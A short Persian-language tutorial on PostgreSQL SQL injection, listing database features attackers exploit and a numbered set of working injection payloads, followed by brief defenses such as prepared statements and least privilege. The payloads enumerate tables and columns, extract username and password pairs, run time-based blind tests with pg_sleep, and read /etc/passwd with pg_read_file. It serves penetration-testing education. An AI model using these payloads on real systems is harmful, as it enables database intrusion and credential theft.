تست PostgreSQL Injection

PostgreSQL Injection

PostgreSQL یکی از قدرتمندترین پایگاه‌های داده متن‌باز است. ویژگی‌های خاص PostgreSQL مثل pg_catalog، COPY و PL/pgSQL تکنیک‌های خاصی نیاز دارند.

ویژگی‌های خاص PostgreSQL

• pg_catalog برای metadata
• COPY TO/FROM برای خواندن/نوشتن فایل
• PL/pgSQL زبان procedural
• STACKED QUERIES پشتیبانی می‌شود
• pg_sleep برای time-based blind

payload‌های مخصوص PostgreSQL

1-- شناسایی نسخه
2' UNION SELECT version() --
3
4-- لیست جداول
5' UNION SELECT table_name FROM information_schema.tables --
6
7-- لیست ستون‌ها
8' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
9
10-- استخراج داده
11' UNION SELECT username||':'||password FROM users --
12
13-- تست time-based
14'; SELECT pg_sleep(5) --
15
16-- خواندن فایل
17' UNION SELECT pg_read_file('/etc/passwd') --

راه‌حل

• استفاده از Prepared Statements
• محدود کردن دسترسی کاربر پایگاه داده
• غیرفعال کردن COPY TO/FROM
• لاگ‌برداری از query‌های مشکوک